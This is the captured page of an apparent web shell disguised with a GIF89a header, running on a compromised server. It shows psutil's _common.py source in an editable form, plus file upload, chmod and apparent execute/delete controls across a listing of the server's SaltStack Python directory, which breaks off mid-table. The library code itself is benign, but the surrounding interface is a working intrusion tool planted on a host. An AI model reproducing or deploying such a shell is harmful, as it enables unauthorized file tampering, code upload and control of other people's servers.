GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>_common.py<form method=post action="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA%3D%3D&f=X2NvbW1vbi5weQ%3D%3D"><input name="f" value="_common.py"><textarea name="t"># Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.

&quot;&quot;&quot;Common objects shared by __init__.py and _ps*.py modules.

Note: this module is imported by setup.py, so it should not import
psutil or third-party modules.
&quot;&quot;&quot;

import collections
import enum
import functools
import os
import socket
import stat
import sys
import threading
import warnings
from socket import AF_INET
from socket import SOCK_DGRAM
from socket import SOCK_STREAM

try:
    from socket import AF_INET6
except ImportError:
    AF_INET6 = None
try:
    from socket import AF_UNIX
except ImportError:
    AF_UNIX = None


PSUTIL_DEBUG = bool(os.getenv('PSUTIL_DEBUG'))
_DEFAULT = object()

# fmt: off
__all__ = [
    # OS constants
    'FREEBSD', 'BSD', 'LINUX', 'NETBSD', 'OPENBSD', 'MACOS', 'OSX', 'POSIX',
    'SUNOS', 'WINDOWS',
    # connection constants
    'CONN_CLOSE', 'CONN_CLOSE_WAIT', 'CONN_CLOSING', 'CONN_ESTABLISHED',
    'CONN_FIN_WAIT1', 'CONN_FIN_WAIT2', 'CONN_LAST_ACK', 'CONN_LISTEN',
    'CONN_NONE', 'CONN_SYN_RECV', 'CONN_SYN_SENT', 'CONN_TIME_WAIT',
    # net constants
    'NIC_DUPLEX_FULL', 'NIC_DUPLEX_HALF', 'NIC_DUPLEX_UNKNOWN',  # noqa: F822
    # process status constants
    'STATUS_DEAD', 'STATUS_DISK_SLEEP', 'STATUS_IDLE', 'STATUS_LOCKED',
    'STATUS_RUNNING', 'STATUS_SLEEPING', 'STATUS_STOPPED', 'STATUS_SUSPENDED',
    'STATUS_TRACING_STOP', 'STATUS_WAITING', 'STATUS_WAKE_KILL',
    'STATUS_WAKING', 'STATUS_ZOMBIE', 'STATUS_PARKED',
    # other constants
    'ENCODING', 'ENCODING_ERRS', 'AF_INET6',
    # utility functions
    'conn_tmap', 'deprecated_method', 'isfile_strict', 'memoize',
    'parse_environ_block', 'path_exists_strict', 'usage_percent',
    'supports_ipv6', 'sockfam_to_enum', 'socktype_to_enum', &quot;wrap_numbers&quot;,
    'open_text', 'open_binary', 'cat', 'bcat',
    'bytes2human', 'conn_to_ntuple', 'debug',
    # shell utils
    'hilite', 'term_supports_colors', 'print_color',
]
# fmt: on


# ===================================================================
# --- OS constants
# ===================================================================


POSIX = os.name == &quot;posix&quot;
WINDOWS = os.name == &quot;nt&quot;
LINUX = sys.platform.startswith(&quot;linux&quot;)
MACOS = sys.platform.startswith(&quot;darwin&quot;)
OSX = MACOS  # deprecated alias
FREEBSD = sys.platform.startswith((&quot;freebsd&quot;, &quot;midnightbsd&quot;))
OPENBSD = sys.platform.startswith(&quot;openbsd&quot;)
NETBSD = sys.platform.startswith(&quot;netbsd&quot;)
BSD = FREEBSD or OPENBSD or NETBSD
SUNOS = sys.platform.startswith((&quot;sunos&quot;, &quot;solaris&quot;))
AIX = sys.platform.startswith(&quot;aix&quot;)


# ===================================================================
# --- API constants
# ===================================================================


# Process.status()
STATUS_RUNNING = &quot;running&quot;
STATUS_SLEEPING = &quot;sleeping&quot;
STATUS_DISK_SLEEP = &quot;disk-sleep&quot;
STATUS_STOPPED = &quot;stopped&quot;
STATUS_TRACING_STOP = &quot;tracing-stop&quot;
STATUS_ZOMBIE = &quot;zombie&quot;
STATUS_DEAD = &quot;dead&quot;
STATUS_WAKE_KILL = &quot;wake-kill&quot;
STATUS_WAKING = &quot;waking&quot;
STATUS_IDLE = &quot;idle&quot;  # Linux, macOS, FreeBSD
STATUS_LOCKED = &quot;locked&quot;  # FreeBSD
STATUS_WAITING = &quot;waiting&quot;  # FreeBSD
STATUS_SUSPENDED = &quot;suspended&quot;  # NetBSD
STATUS_PARKED = &quot;parked&quot;  # Linux

# Process.net_connections() and psutil.net_connections()
CONN_ESTABLISHED = &quot;ESTABLISHED&quot;
CONN_SYN_SENT = &quot;SYN_SENT&quot;
CONN_SYN_RECV = &quot;SYN_RECV&quot;
CONN_FIN_WAIT1 = &quot;FIN_WAIT1&quot;
CONN_FIN_WAIT2 = &quot;FIN_WAIT2&quot;
CONN_TIME_WAIT = &quot;TIME_WAIT&quot;
CONN_CLOSE = &quot;CLOSE&quot;
CONN_CLOSE_WAIT = &quot;CLOSE_WAIT&quot;
CONN_LAST_ACK = &quot;LAST_ACK&quot;
CONN_LISTEN = &quot;LISTEN&quot;
CONN_CLOSING = &quot;CLOSING&quot;
CONN_NONE = &quot;NONE&quot;


# net_if_stats()
class NicDuplex(enum.IntEnum):
    NIC_DUPLEX_FULL = 2
    NIC_DUPLEX_HALF = 1
    NIC_DUPLEX_UNKNOWN = 0


globals().update(NicDuplex.__members__)


# sensors_battery()
class BatteryTime(enum.IntEnum):
    POWER_TIME_UNKNOWN = -1
    POWER_TIME_UNLIMITED = -2


globals().update(BatteryTime.__members__)

# --- others

ENCODING = sys.getfilesystemencoding()
ENCODING_ERRS = sys.getfilesystemencodeerrors()


# ===================================================================
# --- Process.net_connections() 'kind' parameter mapping
# ===================================================================


conn_tmap = {
    &quot;all&quot;: ([AF_INET, AF_INET6, AF_UNIX], [SOCK_STREAM, SOCK_DGRAM]),
    &quot;tcp&quot;: ([AF_INET, AF_INET6], [SOCK_STREAM]),
    &quot;tcp4&quot;: ([AF_INET], [SOCK_STREAM]),
    &quot;udp&quot;: ([AF_INET, AF_INET6], [SOCK_DGRAM]),
    &quot;udp4&quot;: ([AF_INET], [SOCK_DGRAM]),
    &quot;inet&quot;: ([AF_INET, AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
    &quot;inet4&quot;: ([AF_INET], [SOCK_STREAM, SOCK_DGRAM]),
    &quot;inet6&quot;: ([AF_INET6], [SOCK_STREAM, SOCK_DGRAM]),
}

if AF_INET6 is not None:
    conn_tmap.update({
        &quot;tcp6&quot;: ([AF_INET6], [SOCK_STREAM]),
        &quot;udp6&quot;: ([AF_INET6], [SOCK_DGRAM]),
    })

if AF_UNIX is not None and not SUNOS:
    conn_tmap.update({&quot;unix&quot;: ([AF_UNIX], [SOCK_STREAM, SOCK_DGRAM])})


# =====================================================================
# --- Exceptions
# =====================================================================


class Error(Exception):
    &quot;&quot;&quot;Base exception class. All other psutil exceptions inherit
    from this one.
    &quot;&quot;&quot;

    __module__ = 'psutil'

    def _infodict(self, attrs):
        info = collections.OrderedDict()
        for name in attrs:
            value = getattr(self, name, None)
            if value or (name == &quot;pid&quot; and value == 0):
                info[name] = value
        return info

    def __str__(self):
        # invoked on `raise Error`
        info = self._infodict((&quot;pid&quot;, &quot;ppid&quot;, &quot;name&quot;))
        if info:
            details = &quot;({})&quot;.format(
                &quot;, &quot;.join([f&quot;{k}={v!r}&quot; for k, v in info.items()])
            )
        else:
            details = None
        return &quot; &quot;.join([x for x in (getattr(self, &quot;msg&quot;, &quot;&quot;), details) if x])

    def __repr__(self):
        # invoked on `repr(Error)`
        info = self._infodict((&quot;pid&quot;, &quot;ppid&quot;, &quot;name&quot;, &quot;seconds&quot;, &quot;msg&quot;))
        details = &quot;, &quot;.join([f&quot;{k}={v!r}&quot; for k, v in info.items()])
        return f&quot;psutil.{self.__class__.__name__}({details})&quot;


class NoSuchProcess(Error):
    &quot;&quot;&quot;Exception raised when a process with a certain PID doesn't
    or no longer exists.
    &quot;&quot;&quot;

    __module__ = 'psutil'

    def __init__(self, pid, name=None, msg=None):
        Error.__init__(self)
        self.pid = pid
        self.name = name
        self.msg = msg or &quot;process no longer exists&quot;

    def __reduce__(self):
        return (self.__class__, (self.pid, self.name, self.msg))


class ZombieProcess(NoSuchProcess):
    &quot;&quot;&quot;Exception raised when querying a zombie process. This is
    raised on macOS, BSD and Solaris only, and not always: depending
    on the query the OS may be able to succeed anyway.
    On Linux all zombie processes are querable (hence this is never
    raised). Windows doesn't have zombie processes.
    &quot;&quot;&quot;

    __module__ = 'psutil'

    def __init__(self, pid, name=None, ppid=None, msg=None):
        NoSuchProcess.__init__(self, pid, name, msg)
        self.ppid = ppid
        self.msg = msg or &quot;PID still exists but it's a zombie&quot;

    def __reduce__(self):
        return (self.__class__, (self.pid, self.name, self.ppid, self.msg))


class AccessDenied(Error):
    &quot;&quot;&quot;Exception raised when permission to perform an action is denied.&quot;&quot;&quot;

    __module__ = 'psutil'

    def __init__(self, pid=None, name=None, msg=None):
        Error.__init__(self)
        self.pid = pid
        self.name = name
        self.msg = msg or &quot;&quot;

    def __reduce__(self):
        return (self.__class__, (self.pid, self.name, self.msg))


class TimeoutExpired(Error):
    &quot;&quot;&quot;Raised on Process.wait(timeout) if timeout expires and process
    is still alive.
    &quot;&quot;&quot;

    __module__ = 'psutil'

    def __init__(self, seconds, pid=None, name=None):
        Error.__init__(self)
        self.seconds = seconds
        self.pid = pid
        self.name = name
        self.msg = f&quot;timeout after {seconds} seconds&quot;

    def __reduce__(self):
        return (self.__class__, (self.seconds, self.pid, self.name))


# ===================================================================
# --- utils
# ===================================================================


def usage_percent(used, total, round_=None):
    &quot;&quot;&quot;Calculate percentage usage of 'used' against 'total'.&quot;&quot;&quot;
    try:
        ret = (float(used) / total) * 100
    except ZeroDivisionError:
        return 0.0
    else:
        if round_ is not None:
            ret = round(ret, round_)
        return ret


def memoize(fun):
    &quot;&quot;&quot;A simple memoize decorator for functions supporting (hashable)
    positional arguments.
    It also provides a cache_clear() function for clearing the cache:

    &gt;&gt;&gt; @memoize
    ... def foo()
    ...     return 1
        ...
    &gt;&gt;&gt; foo()
    1
    &gt;&gt;&gt; foo.cache_clear()
    &gt;&gt;&gt;

    It supports:
     - functions
     - classes (acts as a @singleton)
     - staticmethods
     - classmethods

    It does NOT support:
     - methods
    &quot;&quot;&quot;

    @functools.wraps(fun)
    def wrapper(*args, **kwargs):
        key = (args, frozenset(sorted(kwargs.items())))
        try:
            return cache[key]
        except KeyError:
            try:
                ret = cache[key] = fun(*args, **kwargs)
            except Exception as err:
                raise err from None
            return ret

    def cache_clear():
        &quot;&quot;&quot;Clear cache.&quot;&quot;&quot;
        cache.clear()

    cache = {}
    wrapper.cache_clear = cache_clear
    return wrapper


def memoize_when_activated(fun):
    &quot;&quot;&quot;A memoize decorator which is disabled by default. It can be
    activated and deactivated on request.
    For efficiency reasons it can be used only against class methods
    accepting no arguments.

    &gt;&gt;&gt; class Foo:
    ...     @memoize
    ...     def foo()
    ...         print(1)
    ...
    &gt;&gt;&gt; f = Foo()
    &gt;&gt;&gt; # deactivated (default)
    &gt;&gt;&gt; foo()
    1
    &gt;&gt;&gt; foo()
    1
    &gt;&gt;&gt;
    &gt;&gt;&gt; # activated
    &gt;&gt;&gt; foo.cache_activate(self)
    &gt;&gt;&gt; foo()
    1
    &gt;&gt;&gt; foo()
    &gt;&gt;&gt; foo()
    &gt;&gt;&gt;
    &quot;&quot;&quot;

    @functools.wraps(fun)
    def wrapper(self):
        try:
            # case 1: we previously entered oneshot() ctx
            ret = self._cache[fun]
        except AttributeError:
            # case 2: we never entered oneshot() ctx
            try:
                return fun(self)
            except Exception as err:
                raise err from None
        except KeyError:
            # case 3: we entered oneshot() ctx but there's no cache
            # for this entry yet
            try:
                ret = fun(self)
            except Exception as err:
                raise err from None
            try:
                self._cache[fun] = ret
            except AttributeError:
                # multi-threading race condition, see:
                # https://github.com/giampaolo/psutil/issues/1948
                pass
        return ret

    def cache_activate(proc):
        &quot;&quot;&quot;Activate cache. Expects a Process instance. Cache will be
        stored as a &quot;_cache&quot; instance attribute.
        &quot;&quot;&quot;
        proc._cache = {}

    def cache_deactivate(proc):
        &quot;&quot;&quot;Deactivate and clear cache.&quot;&quot;&quot;
        try:
            del proc._cache
        except AttributeError:
            pass

    wrapper.cache_activate = cache_activate
    wrapper.cache_deactivate = cache_deactivate
    return wrapper


def isfile_strict(path):
    &quot;&quot;&quot;Same as os.path.isfile() but does not swallow EACCES / EPERM
    exceptions, see:
    http://mail.python.org/pipermail/python-dev/2012-June/120787.html.
    &quot;&quot;&quot;
    try:
        st = os.stat(path)
    except PermissionError:
        raise
    except OSError:
        return False
    else:
        return stat.S_ISREG(st.st_mode)


def path_exists_strict(path):
    &quot;&quot;&quot;Same as os.path.exists() but does not swallow EACCES / EPERM
    exceptions. See:
    http://mail.python.org/pipermail/python-dev/2012-June/120787.html.
    &quot;&quot;&quot;
    try:
        os.stat(path)
    except PermissionError:
        raise
    except OSError:
        return False
    else:
        return True


def supports_ipv6():
    &quot;&quot;&quot;Return True if IPv6 is supported on this platform.&quot;&quot;&quot;
    if not socket.has_ipv6 or AF_INET6 is None:
        return False
    try:
        with socket.socket(AF_INET6, socket.SOCK_STREAM) as sock:
            sock.bind((&quot;::1&quot;, 0))
        return True
    except OSError:
        return False


def parse_environ_block(data):
    &quot;&quot;&quot;Parse a C environ block of environment variables into a dictionary.&quot;&quot;&quot;
    # The block is usually raw data from the target process.  It might contain
    # trailing garbage and lines that do not look like assignments.
    ret = {}
    pos = 0

    # localize global variable to speed up access.
    WINDOWS_ = WINDOWS
    while True:
        next_pos = data.find(&quot;\0&quot;, pos)
        # nul byte at the beginning or double nul byte means finish
        if next_pos &lt;= pos:
            break
        # there might not be an equals sign
        equal_pos = data.find(&quot;=&quot;, pos, next_pos)
        if equal_pos &gt; pos:
            key = data[pos:equal_pos]
            value = data[equal_pos + 1 : next_pos]
            # Windows expects environment variables to be uppercase only
            if WINDOWS_:
                key = key.upper()
            ret[key] = value
        pos = next_pos + 1

    return ret


def sockfam_to_enum(num):
    &quot;&quot;&quot;Convert a numeric socket family value to an IntEnum member.
    If it's not a known member, return the numeric value itself.
    &quot;&quot;&quot;
    try:
        return socket.AddressFamily(num)
    except ValueError:
        return num


def socktype_to_enum(num):
    &quot;&quot;&quot;Convert a numeric socket type value to an IntEnum member.
    If it's not a known member, return the numeric value itself.
    &quot;&quot;&quot;
    try:
        return socket.SocketKind(num)
    except ValueError:
        return num


def conn_to_ntuple(fd, fam, type_, laddr, raddr, status, status_map, pid=None):
    &quot;&quot;&quot;Convert a raw connection tuple to a proper ntuple.&quot;&quot;&quot;
    from . import _ntuples as ntp

    if fam in {socket.AF_INET, AF_INET6}:
        if laddr:
            laddr = ntp.addr(*laddr)
        if raddr:
            raddr = ntp.addr(*raddr)
    if type_ == socket.SOCK_STREAM and fam in {AF_INET, AF_INET6}:
        status = status_map.get(status, CONN_NONE)
    else:
        status = CONN_NONE  # ignore whatever C returned to us
    fam = sockfam_to_enum(fam)
    type_ = socktype_to_enum(type_)
    if pid is None:
        return ntp.pconn(fd, fam, type_, laddr, raddr, status)
    else:
        return ntp.sconn(fd, fam, type_, laddr, raddr, status, pid)


def broadcast_addr(addr):
    &quot;&quot;&quot;Given the address ntuple returned by ``net_if_addrs()``
    calculates the broadcast address.
    &quot;&quot;&quot;
    import ipaddress

    if not addr.address or not addr.netmask:
        return None
    if addr.family == socket.AF_INET:
        return str(
            ipaddress.IPv4Network(
                f&quot;{addr.address}/{addr.netmask}&quot;, strict=False
            ).broadcast_address
        )
    if addr.family == socket.AF_INET6:
        return str(
            ipaddress.IPv6Network(
                f&quot;{addr.address}/{addr.netmask}&quot;, strict=False
            ).broadcast_address
        )


def deprecated_method(replacement):
    &quot;&quot;&quot;A decorator which can be used to mark a method as deprecated
    'replcement' is the method name which will be called instead.
    &quot;&quot;&quot;

    def outer(fun):
        msg = (
            f&quot;{fun.__name__}() is deprecated and will be removed; use&quot;
            f&quot; {replacement}() instead&quot;
        )
        if fun.__doc__ is None:
            fun.__doc__ = msg

        @functools.wraps(fun)
        def inner(self, *args, **kwargs):
            warnings.warn(msg, category=DeprecationWarning, stacklevel=2)
            return getattr(self, replacement)(*args, **kwargs)

        return inner

    return outer


class _WrapNumbers:
    &quot;&quot;&quot;Watches numbers so that they don't overflow and wrap
    (reset to zero).
    &quot;&quot;&quot;

    def __init__(self):
        self.lock = threading.Lock()
        self.cache = {}
        self.reminders = {}
        self.reminder_keys = {}

    def _add_dict(self, input_dict, name):
        assert name not in self.cache
        assert name not in self.reminders
        assert name not in self.reminder_keys
        self.cache[name] = input_dict
        self.reminders[name] = collections.defaultdict(int)
        self.reminder_keys[name] = collections.defaultdict(set)

    def _remove_dead_reminders(self, input_dict, name):
        &quot;&quot;&quot;In case the number of keys changed between calls (e.g. a
        disk disappears) this removes the entry from self.reminders.
        &quot;&quot;&quot;
        old_dict = self.cache[name]
        gone_keys = set(old_dict.keys()) - set(input_dict.keys())
        for gone_key in gone_keys:
            for remkey in self.reminder_keys[name][gone_key]:
                del self.reminders[name][remkey]
            del self.reminder_keys[name][gone_key]

    def run(self, input_dict, name):
        &quot;&quot;&quot;Cache dict and sum numbers which overflow and wrap.
        Return an updated copy of `input_dict`.
        &quot;&quot;&quot;
        if name not in self.cache:
            # This was the first call.
            self._add_dict(input_dict, name)
            return input_dict

        self._remove_dead_reminders(input_dict, name)

        old_dict = self.cache[name]
        new_dict = {}
        for key in input_dict:
            input_tuple = input_dict[key]
            try:
                old_tuple = old_dict[key]
            except KeyError:
                # The input dict has a new key (e.g. a new disk or NIC)
                # which didn't exist in the previous call.
                new_dict[key] = input_tuple
                continue

            bits = []
            for i in range(len(input_tuple)):
                input_value = input_tuple[i]
                old_value = old_tuple[i]
                remkey = (key, i)
                if input_value &lt; old_value:
                    # it wrapped!
                    self.reminders[name][remkey] += old_value
                    self.reminder_keys[name][key].add(remkey)
                bits.append(input_value + self.reminders[name][remkey])

            new_dict[key] = tuple(bits)

        self.cache[name] = input_dict
        return new_dict

    def cache_clear(self, name=None):
        &quot;&quot;&quot;Clear the internal cache, optionally only for function 'name'.&quot;&quot;&quot;
        with self.lock:
            if name is None:
                self.cache.clear()
                self.reminders.clear()
                self.reminder_keys.clear()
            else:
                self.cache.pop(name, None)
                self.reminders.pop(name, None)
                self.reminder_keys.pop(name, None)

    def cache_info(self):
        &quot;&quot;&quot;Return internal cache dicts as a tuple of 3 elements.&quot;&quot;&quot;
        with self.lock:
            return (self.cache, self.reminders, self.reminder_keys)


def wrap_numbers(input_dict, name):
    &quot;&quot;&quot;Given an `input_dict` and a function `name`, adjust the numbers
    which &quot;wrap&quot; (restart from zero) across different calls by adding
    &quot;old value&quot; to &quot;new value&quot; and return an updated dict.
    &quot;&quot;&quot;
    with _wn.lock:
        return _wn.run(input_dict, name)


_wn = _WrapNumbers()
wrap_numbers.cache_clear = _wn.cache_clear
wrap_numbers.cache_info = _wn.cache_info


# The read buffer size for open() builtin. This (also) dictates how
# much data we read(2) when iterating over file lines as in:
#   &gt;&gt;&gt; with open(file) as f:
#   ...    for line in f:
#   ...        ...
# Default per-line buffer size for binary files is 1K. For text files
# is 8K. We use a bigger buffer (32K) in order to have more consistent
# results when reading /proc pseudo files on Linux, see:
# https://github.com/giampaolo/psutil/issues/2050
# https://github.com/giampaolo/psutil/issues/708
FILE_READ_BUFFER_SIZE = 32 * 1024


def open_binary(fname):
    return open(fname, &quot;rb&quot;, buffering=FILE_READ_BUFFER_SIZE)


def open_text(fname):
    &quot;&quot;&quot;Open a file in text mode by using the proper FS encoding and
    en/decoding error handlers.
    &quot;&quot;&quot;
    # See:
    # https://github.com/giampaolo/psutil/issues/675
    # https://github.com/giampaolo/psutil/pull/733
    fobj = open(  # noqa: SIM115
        fname,
        buffering=FILE_READ_BUFFER_SIZE,
        encoding=ENCODING,
        errors=ENCODING_ERRS,
    )
    try:
        # Dictates per-line read(2) buffer size. Defaults is 8k. See:
        # https://github.com/giampaolo/psutil/issues/2050#issuecomment-1013387546
        fobj._CHUNK_SIZE = FILE_READ_BUFFER_SIZE
    except AttributeError:
        pass
    except Exception:
        fobj.close()
        raise

    return fobj


def cat(fname, fallback=_DEFAULT, _open=open_text):
    &quot;&quot;&quot;Read entire file content and return it as a string. File is
    opened in text mode. If specified, `fallback` is the value
    returned in case of error, either if the file does not exist or
    it can't be read().
    &quot;&quot;&quot;
    if fallback is _DEFAULT:
        with _open(fname) as f:
            return f.read()
    else:
        try:
            with _open(fname) as f:
                return f.read()
        except OSError:
            return fallback


def bcat(fname, fallback=_DEFAULT):
    &quot;&quot;&quot;Same as above but opens file in binary mode.&quot;&quot;&quot;
    return cat(fname, fallback=fallback, _open=open_binary)


def bytes2human(n, format=&quot;%(value).1f%(symbol)s&quot;):
    &quot;&quot;&quot;Used by various scripts. See: https://code.activestate.com/recipes/578019-bytes-to-human-human-to-bytes-converter/?in=user-4178764.

    &gt;&gt;&gt; bytes2human(10000)
    '9.8K'
    &gt;&gt;&gt; bytes2human(100001221)
    '95.4M'
    &quot;&quot;&quot;
    symbols = ('B', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')
    prefix = {}
    for i, s in enumerate(symbols[1:]):
        prefix[s] = 1 &lt;&lt; (i + 1) * 10
    for symbol in reversed(symbols[1:]):
        if abs(n) &gt;= prefix[symbol]:
            value = float(n) / prefix[symbol]
            return format % locals()
    return format % dict(symbol=symbols[0], value=n)


def get_procfs_path():
    &quot;&quot;&quot;Return updated psutil.PROCFS_PATH constant.&quot;&quot;&quot;
    return sys.modules['psutil'].PROCFS_PATH


def decode(s):
    return s.decode(encoding=ENCODING, errors=ENCODING_ERRS)


# =====================================================================
# --- shell utils
# =====================================================================


@memoize
def term_supports_colors(file=sys.stdout):  # pragma: no cover
    if not hasattr(file, &quot;isatty&quot;) or not file.isatty():
        return False
    try:
        file.fileno()
    except Exception:  # noqa: BLE001
        return False
    return True


def hilite(s, color=None, bold=False):  # pragma: no cover
    &quot;&quot;&quot;Return an highlighted version of 'string'.&quot;&quot;&quot;
    if not term_supports_colors():
        return s
    attr = []
    colors = dict(
        blue='34',
        brown='33',
        darkgrey='30',
        green='32',
        grey='37',
        lightblue='36',
        red='91',
        violet='35',
        yellow='93',
    )
    colors[None] = '29'
    try:
        color = colors[color]
    except KeyError:
        msg = f&quot;invalid color {color!r}; choose amongst {list(colors.keys())}&quot;
        raise ValueError(msg) from None
    attr.append(color)
    if bold:
        attr.append('1')
    return f&quot;\x1b[{';'.join(attr)}m{s}\x1b[0m&quot;


def print_color(
    s, color=None, bold=False, file=sys.stdout
):  # pragma: no cover
    &quot;&quot;&quot;Print a colorized version of string.&quot;&quot;&quot;
    if not term_supports_colors():
        print(s, file=file)
    elif POSIX:
        print(hilite(s, color, bold), file=file)
    else:
        import ctypes

        DEFAULT_COLOR = 7
        GetStdHandle = ctypes.windll.Kernel32.GetStdHandle
        SetConsoleTextAttribute = (
            ctypes.windll.Kernel32.SetConsoleTextAttribute
        )

        colors = dict(green=2, red=4, brown=6, yellow=6)
        colors[None] = DEFAULT_COLOR
        try:
            color = colors[color]
        except KeyError:
            msg = (
                f&quot;invalid color {color!r}; choose between&quot;
                f&quot; {list(colors.keys())!r}&quot;
            )
            raise ValueError(msg) from None
        if bold and color &lt;= 7:
            color += 8

        handle_id = -12 if file is sys.stderr else -11
        GetStdHandle.restype = ctypes.c_ulong
        handle = GetStdHandle(handle_id)
        SetConsoleTextAttribute(handle, color)
        try:
            print(s, file=file)
        finally:
            SetConsoleTextAttribute(handle, DEFAULT_COLOR)


def debug(msg):
    &quot;&quot;&quot;If PSUTIL_DEBUG env var is set, print a debug message to stderr.&quot;&quot;&quot;
    if PSUTIL_DEBUG:
        import inspect

        fname, lineno, _, _lines, _index = inspect.getframeinfo(
            inspect.currentframe().f_back
        )
        if isinstance(msg, Exception):
            if isinstance(msg, OSError):
                # ...because str(exc) may contain info about the file name
                msg = f&quot;ignoring {msg}&quot;
            else:
                msg = f&quot;ignoring {msg!r}&quot;
        print(  # noqa: T201
            f&quot;psutil-debug [{fname}:{lineno}]&gt; {msg}&quot;, file=sys.stderr
        )
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/saltstack/salt/lib/python3.10/site-packages/psutil<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2Vz"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>12288</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X19pbml0X18ucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X19pbml0X18ucHk="/>__init__.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X19pbml0X18ucHk=&c=`+btoa(c):0" value="0644"></td><td>89857</td></tr><tr><td></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbC9fX3B5Y2FjaGVfXw=="/>__pycache__</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X19weWNhY2hlX18=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X2NvbW1vbi5weQ==">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X2NvbW1vbi5weQ=="/>_common.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X2NvbW1vbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>25254</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X250dXBsZXMucHk=">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X250dXBsZXMucHk="/>_ntuples.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X250dXBsZXMucHk=&c=`+btoa(c):0" value="0644"></td><td>10970</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3BzYWl4LnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzYWl4LnB5"/>_psaix.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzYWl4LnB5&c=`+btoa(c):0" value="0644"></td><td>17616</td></tr><tr><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&x=X3BzYnNkLnB5">X</a></td><td><a href="?d=L29wdC9zYWx0c3RhY2svc2FsdC9saWIvcHl0aG9uMy4xMC9zaXRlLXBhY2thZ2VzL3BzdXRpbA==&f=X3BzYnNkLnB5"/>_psbsd.py</a></td><td><input type="button" 